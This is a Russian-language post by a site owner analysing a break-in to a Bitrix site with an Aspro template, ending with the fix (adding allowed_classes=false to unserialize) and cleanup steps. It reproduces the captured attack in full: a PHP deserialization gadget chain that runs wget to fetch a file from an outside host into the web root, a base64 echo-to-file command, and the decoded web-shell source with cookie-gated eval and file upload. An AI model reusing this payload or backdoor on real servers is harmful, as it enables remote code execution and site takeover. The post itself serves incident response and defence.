Недавно столкнулся с проблемой взлома, патч Аспр не помог, проверка на вирусы от битркис частично решила проблему, смена паролей тоже не помогла.
В процессее выяснилось как происходит взлом. Вероятно это один из враиантов.
Сначала делается запрос с данными
/form/?form_id=TABLES_SIZE&url=/include/mainpage/comp_catalog_ajax.php
array (
'AJAX_POST' => 'Y',
'AJAX_PARAMS' => 'O%3A27%3A%22Bitrix%5CMain%5CORM%5CData%5CResult%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00errors%22%3BO%3A27%3A%22Bitrix%5CMain%5CType%5CDictionary%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00values%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22Bitrix%5CMain%5CError%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00message%22%3BO%3A36%3A%22Bitrix%5CMain%5CUI%5CViewer%5CItemAttributes%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3BO%3A29%3A%22Bitrix%5CMain%5CDB%5CResultIterator%22%3A3%3A%7Bs%3A38%3A%22%00Bitrix%5CMain%5CDB%5CResultIterator%00counter%22%3Bi%3A0%3Bs%3A42%3A%22%00Bitrix%5CMain%5CDB%5CResultIterator%00currentData%22%3Bi%3A0%3Bs%3A37%3A%22%00Bitrix%5CMain%5CDB%5CResultIterator%00result%22%3BO%3A26%3A%22Bitrix%5CMain%5CDB%5CArrayResult%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00resource%22%3Ba%3A2%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A78%3A%22wget%20http%3A%2F%2Flooklong.com%2Faccesson20.html%20-qO%20/home/bitrix/www/6c353a6d5815.php%22%3B%7Di%3A1%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22rce%22%3B%7D%7D%7Ds%3A13%3A%22%00%2A%00converters%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3Bi%3A1%3Bs%3A17%3A%22WriteFinalMessage%22%3B%7D%7D%7D%7D%7D%7D%7Ds%3A12%3A%22%00%2A%00isSuccess%22%3Bb%3A0%3Bs%3A20%3A%22%00%2A%00wereErrorsChecked%22%3Bb%3A0%3B%7D',
'IBLOCK_ID' => '1',
)
Соответственно вместо таблицы с размерами, подключается файл /include/mainpage/comp_catalog_ajax.php который и обрабатывает данные из запроса, в частности AJAX_PARAMS
В этом файле есть код
$arIncludeParams = ($bAjaxMode ? $_POST["AJAX_PARAMS"] : $arParamsTmp);
$arGlobalFilter = ($bAjaxMode
? unserialize(urldecode($_POST["GLOBAL_FILTER"]))
: ($_GET['GLOBAL_FILTER'] ? unserialize(urldecode($_GET['GLOBAL_FILTER'])) : array()));
$arComponentParams = unserialize(urldecode($arIncludeParams));
Применяем urldecode и выясняем что там засериализовано
O:27:"Bitrix\Main\ORM\Data\Result":3:{s:9:"*errors";O:27:"Bitrix\Main\Type\Dictionary":1:{s:9:"*values";a:1:{i:0;O:17:"Bitrix\Main\Error":1:{s:10:"*message";O:36:"Bitrix\Main\UI\Viewer\ItemAttributes":1:{s:13:"*attributes";O:29:"Bitrix\Main\DB\ResultIterator":3:{s:38:"Bitrix\Main\DB\ResultIteratorcounter";i:0;s:42:"Bitrix\Main\DB\ResultIteratorcurrentData";i:0;s:37:"Bitrix\Main\DB\ResultIteratorresult";O:26:"Bitrix\Main\DB\ArrayResult":2:{s:11:"*resource";a:2:{i:0;a:1:{i:0;s:78:"wget http://looklong.com/accesson20.html -qO /home/bitrix/www/6c353a6d5815.php";}i:1;a:1:{i:0;a:1:{i:0;s:3:"rce";}}}s:13:"*converters";a:2:{i:0;s:6:"system";i:1;s:17:"WriteFinalMessage";}}}}}}}s:12:"*isSuccess";b:0;s:20:"*wereErrorsChecked";b:0;}
В процессе десериализации выполняется запрос к сторонему ресурсу
wget http://looklong.com/accesson20.html -qO /home/bitrix/www/6c353a6d5815.php
который создает файл в корне сайта - 6c353a6d5815.php
А у же в файле 6c353a6d5815.php есть логика, которая копирует файл переданный в нужное место. В переданом и скопирвоанном файле может быть любая логика которую можно выполнить на сервере.
Как исправить
вручную для каждого вызова unserialize второй параметр, запрещающий воссоздавать классы. В даннмо примере для файла
/include/mainpage/comp_catalog_ajax.php
$arIncludeParams = ($bAjaxMode ? $_POST["AJAX_PARAMS"] : $arParamsTmp);
$arGlobalFilter = ($bAjaxMode
? unserialize(urldecode($_POST["GLOBAL_FILTER"]), ['allowed_classes' => false])
: ($_GET['GLOBAL_FILTER'] ? unserialize(urldecode($_GET['GLOBAL_FILTER']), ['allowed_classes' => false]) : array()));
$arComponentParams = unserialize(urldecode($arIncludeParams), ['allowed_classes' => false]);
В новых версиях аспро в этом файле уже все исправлено
Что еще сделать
Также в кроне были задачи на выполнение скрипта на perl, которые нужно удалить
Перезагрузить сервисы и изменить пароли доступа к серверу
Изменить пароли доступа к сайту
Как еще создаются фалы
echo PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K|base64 -d|tee /home/bitrix/www/include/mainpage/6c353a6d5815.php
после декодирования
<?php echo 409723*20;if(md5($_COOKIE["d"])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST["id"]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>
или
<?php echo 409723*20;if(md5($_COOKIE["d"])=="17028f487cb2a84607646da3ad3878ec"){echo"ok";eval(base64_decode($_REQUEST["id"]));if($_POST["up"]=="up"){@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);}}?>